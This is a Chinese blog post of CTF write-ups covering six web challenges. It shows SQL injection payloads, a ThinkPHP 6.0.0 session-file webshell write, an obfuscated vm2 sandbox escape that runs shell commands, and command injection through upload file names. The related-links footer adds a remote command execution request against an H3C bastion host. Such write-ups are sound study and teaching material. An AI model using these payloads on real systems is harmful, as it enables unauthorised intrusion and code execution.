buu第五页 wp

news2024/12/21 10:07:10

[RootersCTF2019]babyWeb

预期解

一眼就是sql注入,发现过滤了

UNION SLEEP ' " OR - BENCHMARK

盲注没法用了,因为union被过滤,堆叠注入也不考虑,发现报错有回显,尝试报错注入。

尝试:

1||(updatexml(1,concat(0x7e,(select database())),0x7e))

在这里插入图片描述

得到数据库,继续注入得到列名,表名。

1||(updatexml(1,concat(0x3a,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))

在这里插入图片描述

表名:users

1||(updatexml(1,concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273)),1)) 
输出不全,用limit一个一个来
1||(updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_name=0x7573657273 limit 4,1)),1))

在这里插入图片描述

发现所需数据

1||(updatexml(1,concat(0x3a,(select uniqueid from sql_injection.users limit 1)),1))

在这里插入图片描述

得到uniqueid,直接输入即可得到flag。

在这里插入图片描述

非预期

用order by测试时,发现uniqueid只有两列

union被过滤无法直接查询,猜测利用正确的uniqueid登陆后即可得到flag,既然我们本来就是要通过注入去得到flag,那么我们也可以直接让其查询返回正确的uniqueid,直接用万能payload。

1||1=1 limit 1
SELECT * FROM users WHERE uniqueid=1||1=1 limit 1

在这里插入图片描述

题目位置:https://gitlab.com/0xCC00FFEE/RootersCTF2019-challenges

可以自己去本地复现,然后看一下1||1=1 limit 1的原理。

[GYCTF2020]EasyThinking

发现有登陆注册搜索等功能

在这里插入图片描述

初步尝试后发现不是sql注入。

在这里插入图片描述

发现是ThinkPHP V6.0.0,该版本存在漏洞。

ThinkPHP6 任意文件操作漏洞分析 (seebug.org)

修改session然后搜索数据。

搜索的数据会自动存到session文件里,每一个PHPSESSID对应一个session文件,可以控制PHPSESSID去修改session文件。

先登录生成session文件。

在这里插入图片描述

然后利用搜索存入一句话木马。

在这里插入图片描述

蚁剑连接。

在这里插入图片描述

然后利用插件提权,运行readflag得到flag

在这里插入图片描述

得到flag。

本地主要是利用任意文件写入漏洞写入一句话木马,一共有三个地方可能存在写入操作,登陆时的username,password以及搜索时的key,经过测试,登陆时的数据并不存入session文件中,因此只能用搜索时的key,本地复现后直接可以全局搜索文件内容即可发现session文件位置,也可以去看代码分析。

利用%2F…%2F…%2F…%2F123456789012345678.php写入的结果。

在这里插入图片描述

在这里插入图片描述

经测试,当PHPSESSID=%2F…%2F…%2F…%2F123456789012345678.php,无法成功登录然后去进行搜索,因此没法同时直接控制文件的位置、名称、内容。

在这里插入图片描述

[HFCTF2020]JustEscape

vm沙箱逃逸,发现有过滤。

['+', '"',''','for', 'while', 'process', 'exec', 'eval', 'constructor', 'prototype', 'Function']

在这里插入图片描述

逃逸poc:https://github.com/patriksimek/vm2/issues/225

利用KaTeX parse error: Expected '}', got 'EOF' at end of input: {`{prototyp}e`}这种方式绕过过滤

(function(){
	TypeError[`${`${`prototy`}pe`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)();
	try{
		Object.preventExtensions(Buffer.from(``)).a = 1;
	}catch(e){
		return e[`${`${`get_proce`}ss`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /f*`).toString();
	}
})()

在这里插入图片描述

[GXYCTF2019]StrongestMind

简简单单的计算,直接套之前的脚本。

感觉有个师傅的脚本逻辑很不错,用一下

import requests
import re
import time

session = requests.session()

url = 'http://ea3579dc-520a-46ea-9f0e-6842ba17b19c.node4.buuoj.cn:81/index.php'
req = session.get(url).text
for i in range(1100):
	try:
		result = re.findall("<br><br>(\d.+)<br><br>",req)
		result = "".join(result)
		result = eval(result)
		data = {"answer":result}
		print("time: "+ str(i) +"   "+"result: "+ str(result))
		req = session.post(url,data=data).text
		if "flag{" in req:
			print(re.search("flag{.*}", req).group(0)[:50])
			break
		time.sleep(0.1)
	except:
		print("[-]")

在这里插入图片描述

[GKCTF 2021]easycms

后台密码为: admin/12345

任意文件下载

在主题导出处存在任意文件下载漏洞。

在这里插入图片描述

代码注入

发现在幻灯片处可以编辑php代码。

在这里插入图片描述

但需要我们上传一个文件:/var/www/html/system/tmp/jdhp.txt

在上传素材处可以上传txt文件。

先上传一个txt文件。

在这里插入图片描述

看地址,很明显可以去修改上传到的地址。

将其地址给改了。

在这里插入图片描述

即可编辑php代码,在前台页面即可触发php代码。

在这里插入图片描述

后续

在尝试中,我还发现了附件上传的后缀名。

在这里插入图片描述

发现写入php会被删除,尝试了双写,直接报错。

在这里插入图片描述

也尝试了phtml,猜测他匹配删除之后会再进行一次判断,所以没法绕过。

在编码模板的地方可以修改文件代码,连接蚁剑。

在这里插入图片描述

上去把代码给down了下来,后边再看看。

[N1CTF 2018]eating_cms

比较喜欢这种题,学到了不少。

开局一个登录框,尝试sql注入没成功,扫一下发现有register.php。

注册后登录。

在这里插入图片描述

看了一会,没啥功能,但是发现了page参数,随便改一下。

在这里插入图片描述

页面回显有点可疑。

读取flag没成功,尝试了好久才发现了只能读取php文件。

伪协议读一下,看一下代码。

user.php

<?php
require_once("function.php");
if( !isset( $_SESSION['user'] )){
    Header("Location: index.php");

}
if($_SESSION['isadmin'] === '1'){
    $oper_you_can_do = $OPERATE_admin;
}else{
    $oper_you_can_do = $OPERATE;
}
//die($_SESSION['isadmin']);
if($_SESSION['isadmin'] === '1'){
    if(!isset($_GET['page']) || $_GET['page'] === ''){
        $page = 'info';
    }else {
        $page = $_GET['page'];
    }
}
else{
    if(!isset($_GET['page'])|| $_GET['page'] === ''){
        $page = 'guest';
    }else {
        $page = $_GET['page'];
        if($page === 'info')
        {
//            echo("<script>alert('no premission to visit info, only admin can, you are guest')</script>");
            Header("Location: user.php?page=guest");
        }
    }
}
filter_directory();
//if(!in_array($page,$oper_you_can_do)){
//    $page = 'info';
//}
include "$page.php";
?>

在读取一下function.php

<?php
session_start();
require_once "config.php";
function Hacker()
{
    Header("Location: hacker.php");
    die();
}


function filter_directory()
{
    $keywords = ["flag","manage","ffffllllaaaaggg"];
    $uri = parse_url($_SERVER["REQUEST_URI"]);
    parse_str($uri['query'], $query);
//    var_dump($query);
//    die();
    foreach($keywords as $token)
    {
        foreach($query as $k => $v)
        {
            if (stristr($k, $token))
                hacker();
            if (stristr($v, $token))
                hacker();
        }
    }
}

function filter_directory_guest()
{
    $keywords = ["flag","manage","ffffllllaaaaggg","info"];
    $uri = parse_url($_SERVER["REQUEST_URI"]);
    parse_str($uri['query'], $query);
//    var_dump($query);
//    die();
    foreach($keywords as $token)
    {
        foreach($query as $k => $v)
        {
            if (stristr($k, $token))
                hacker();
            if (stristr($v, $token))
                hacker();
        }
    }
}

function Filter($string)
{
    global $mysqli;
    $blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password";
    $whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`-@=+><";
    for ($i = 0; $i < strlen($string); $i++) {
        if (strpos("$whitelist", $string[$i]) === false) {
            Hacker();
        }
    }
    if (preg_match("/$blacklist/is", $string)) {
        Hacker();
    }
    if (is_string($string)) {
        return $mysqli->real_escape_string($string);
    } else {
        return "";
    }
}

function sql_query($sql_query)
{
    global $mysqli;
    $res = $mysqli->query($sql_query);
    return $res;
}

function login($user, $pass)
{
    $user = Filter($user);
    $pass = md5($pass);
    $sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user' and `password_which_you_do_not_know_too` = '$pass'";
    echo $sql;
    $res = sql_query($sql);
//    var_dump($res);
//    die();
    if ($res->num_rows) {
        $data = $res->fetch_array();
        $_SESSION['user'] = $data[username_which_you_do_not_know];
        $_SESSION['login'] = 1;
        $_SESSION['isadmin'] = $data[isadmin_which_you_do_not_know_too_too];
        return true;
    } else {
        return false;
    }
    return;
}

function updateadmin($level,$user)
{
    $sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' ";
    echo $sql;
    $res = sql_query($sql);
//    var_dump($res);
//    die();
//    die($res);
    if ($res == 1) {
        return true;
    } else {
        return false;
    }
    return;
}

function register($user, $pass)
{
    global $mysqli;
    $user = Filter($user);
    $pass = md5($pass);
    $sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')";
    $res = sql_query($sql);
    return $mysqli->insert_id;
}

function logout()
{
    session_destroy();
    Header("Location: index.php");
}

?>

在user.php中有个方法filter_directory();跳进function.php。

是一个过滤,url数据中不能有[“flag”,“manage”,“ffffllllaaaaggg”,“info”]。

function filter_directory_guest()
{
    $keywords = ["flag","manage","ffffllllaaaaggg","info"];
    $uri = parse_url($_SERVER["REQUEST_URI"]);
    parse_str($uri['query'], $query);
//    var_dump($query);
//    die();
    foreach($keywords as $token)
    {
        foreach($query as $k => $v)
        {
            if (stristr($k, $token))
                hacker();
            if (stristr($v, $token))
                hacker();
        }
    }
}

利用了parse_url将[“flag”,“manage”,“ffffllllaaaaggg”,“info”]给过滤了,绕过后读取ffffllllaaaaggg.php

url+///user.php?page=php://filter/read=convert.base64-encode/resource=ffffllllaaaaggg

ffffllllaaaaggg.php

<?php
if (FLAG_SIG != 1){
    die("you can not visit it directly");
}else {
    echo "you can find sth in m4aaannngggeee";
}
?>

它提示让我们去m4aaannngggeee。

在这里插入图片描述

发现一个文件上传,尝试上传。

发现上传功能是依靠upllloadddd.php实现的,再读取upllloadddd.php看一下。

<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){
    if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
        die("error:can not move");
    }
}else{
    die("error:not an upload file!");
}
$newfile = $path.$filename;
echo "file upload success<br />";
echo $filename;
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
echo "<img src='data:image/png;base64,".$picdata."'></img>";
if($_FILES['file']['error']>0){
    unlink($newfile);
    die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){
    unlink($newfile);
}
?>

一眼就看到了漏洞。

在这里插入图片描述

因为$filename可控,可以直接命令执行,但上边有一个上传和法检测

在这里插入图片描述

尝试后发现了/被过滤

在这里插入图片描述

所以不用/即可。

先ls找一下flag。

在这里插入图片描述

发现flag位置,直接读取。

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1121402.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

ubuntu20.04下安装nc

前言 nc在网络渗透测试中非常好用&#xff0c;这里的主要记一下Ubuntu20.04中nc的安装 编译安装 第一种方式是自己编译安装&#xff0c;先下载安装包 nc.zip wget http://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download -O netcat-0.7.…

anyproxy 的安装和抓包使用

简介 AnyProxy是阿里开发的开源的代理服务器&#xff0c;主要特性包括&#xff1a; 基于Node.js&#xff0c;开放二次开发能力&#xff0c;允许自定义请求处理逻辑支持Https的解析提供GUI界面&#xff0c;用以观察请求 安装运行Anyproxy 首先需要电脑由安装 node&#xff0…

H3C SecParh堡垒机 data_provider.php 远程命令执行漏洞

构造poc执行远程命令&#xff1a; /audit/data_provider.php?ds_y2019&ds_m04&ds_d02&ds_hour09&ds_min40&server_cond&service$(id)&identity_cond&query_typeall&formatjson&browsetrue漏洞证明&#xff1a; 文笔生疏&#xff0c…

【大模型应用开发教程】02_LangChain介绍

LangChain介绍 什么是 LangChain1. 模型输入/输出2. 数据连接3. 链&#xff08;Chain&#xff09;4. 记忆&#xff08;Meomory&#xff09;5. 代理&#xff08;Agents&#xff09;6.回调&#xff08;Callback&#xff09;在哪里传入回调 ?你想在什么时候使用这些东西呢&#x…

1024常玩到的漏洞(第十六课)

1024常玩到的两个漏洞(第十六课) 漏洞扫描工具 1024渗透OpenVas扫描工具使用(第十四课)-CSDN博客 流程 一 ms12-020漏洞分析 MS12-020漏洞是一种远程桌面协议(RDP)漏洞。在攻击者利用该漏洞之前,它需要将攻击者的计算机连接到受害者的计算机上。攻击者可以通过向受害者计算…

跟着NatureMetabolism学作图:R语言ggplot2转录组差异表达火山图

论文 Independent phenotypic plasticity axes define distinct obesity sub-types https://www.nature.com/articles/s42255-022-00629-2#Sec15 s42255-022-00629-2.pdf 论文中没有公开代码&#xff0c;但是所有作图数据都公开了&#xff0c;我们可以试着用论文中提供的数据…

Linux进程与线程的内核实现

进程描述符task_struct 进程描述符&#xff08;struct task_struct&#xff09;pid与tgid进程id编号分配规则内存管理mm_struct进程与文件,文件系统 进程,线程创建的本质 clone函数原型线程创建的实现进程创建的实现 总结 进程描述符task_struct 进程描述符&#xff08;st…

自动驾驶的商业应用和市场前景

自动驾驶技术已经成为了交通运输领域的一项重要创新。它不仅在改善交通安全性和效率方面具有巨大潜力&#xff0c;还为各种商业应用提供了新的机会。本文将探讨自动驾驶在交通运输中的潜力&#xff0c;自动驾驶汽车的制造商和技术公司&#xff0c;以及自动驾驶的商业模式和市场…

Git GUI工具:SourceTree代码管理

Git GUI工具&#xff1a;SourceTree SourceTreeSourceTree的安装SourceTree的使用 总结 SourceTree 当我们对Git的提交、分支已经非常熟悉&#xff0c;可以熟练使用命令操作Git后&#xff0c;再使用GUI工具&#xff0c;就可以更高效。 Git有很多图形界面工具&#xff0c;这里…

JAVA高级教程Java 泛型(10)

目录 三、泛型的使用泛型类泛型接口泛型方法 四、泛型在集合中的使用1、使用泛型来创建set2、使用泛型来创建HashSet3、使用equals&#xff0c;hashCode的使用Person 类HashSet的使用泛型TreeSet的使用泛型comparator实现定制比较(比较器) 三、泛型的使用 泛型类语法 类名T表示…

散列表:如何打造一个工业级水平的散列表?

文章来源于极客时间前google工程师−王争专栏。 散列表的查询效率并不能笼统地说成是O(1)。它跟散列函数、装载因子、散列冲突等都有关系。如果散列函数设计得不好&#xff0c;或者装载因子过高&#xff0c;都可能导致散列冲突发生的概率升高&#xff0c;查询效率下降。 极端情…

在ESP32上使用Arduino(Arduino as an ESP-IDF component)

目录 前言 原理说明 操作步骤 下载esp-arduino 安装esp-arduino 工程里配置arduino 1、勾选该选项&#xff0c;工程将作为一个标准的arduino程序工作 2、不勾选该选型&#xff0c;工程将作为一个传统的嵌入式项目开发&#xff0c; 前言 Arduino拥有丰富的各类库&#…

一款WPF开发的网易云音乐客户端 - DMSkin-CloudMusic

前言 今天推荐一款基于DMSkin框架开发的网易云音乐播放器&#xff1a;DMSkin-CloudMusic。 DMSkin 框架介绍 DMSkin是一个开源的WPF样式UI框架&#xff0c;可以帮助开发者快速创建漂亮的用户界面。 下载体验 下载地址&#xff1a;https://github.com/944095635/DMSkin-Clou…

如何使用vim粘贴鼠标复制的内容

文章目录 一、使用步骤1.找到要编辑的配置文件2.找到目标文件3.再回到vim编辑器 一、使用步骤 1.找到要编辑的配置文件 用sudo vim /etc/apt/sources.list编辑软件源配置文件 sudo vim /etc/apt/sources.listvim 在默认的情况下当鼠标选中的时候进入的 Visual 模式&#xff…

加法器:如何像搭乐高一样搭电路(上)?

目录 背景 异或门和半加器 全加器 小结 补充阅读 背景 上一讲&#xff0c;我们看到了如何通过电路&#xff0c;在计算机硬件层面设计最基本的单元&#xff0c;门电路。我给你看的门电路非常简单&#xff0c;只能做简单的 “与&#xff08;AND&#xff09;”“或&#xff…

UG\NX二次开发 获取用户默认设置中的绘图信息 UF_PLOT_ask_session_job_options

文章作者:里海 来源网站:《里海NX二次开发3000例专栏》 感谢粉丝订阅 感谢 m0_58724732 订阅本专栏,非常感谢。 简介 UG\NX二次开发 获取用户默认设置中的绘图信息 UF_PLOT_ask_session_job_options 效果 代码 #include "me.hp

window11安装Python环境

python环境安装 访问Python官网:https://www.python.org/ 点击downloads按钮&#xff0c;在下拉框中选择系统类型(windows/Mac OS/Linux等) 选择下载最新版本的Python cmd命令如果出现版本号以及>>>则表示安装成功 如果出现命令行中输入python出现如下错误 可能…

【SSA-RFR预测】基于麻雀算法优化随机森林回归预测研究(Matlab代码实现)

&#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜密&#xff0c;逻辑清晰&#xff0c;为了方便读者。 ⛳️座右铭&a…

【JavaEE重点知识归纳】第11节:认识异常

目录 一&#xff1a;异常的概念和体系结构 1.概念 2.体系结构 3.异常分类 二&#xff1a;异常的处理 1.防御式编程 2.异常的抛出 3.异常的捕获 4.异常的处理流程 三&#xff1a;自定义异常 一&#xff1a;异常的概念和体系结构 1.概念 &#xff08;1&#xff09;在…

dy、ks最新版通用quic协议解决方案

短视频最新版通用quic协议解决方案 由于最新版的两款短视频都使用了quic协议&#xff0c;这就导致爬虫小伙伴在抓包的过程遇到不能抓包的问题&#xff0c;这里提供他们quic协议所有版本的通用解决方案&#xff0c;使他们不使用quic协议&#xff0c;直接通过Charles抓包。 由于…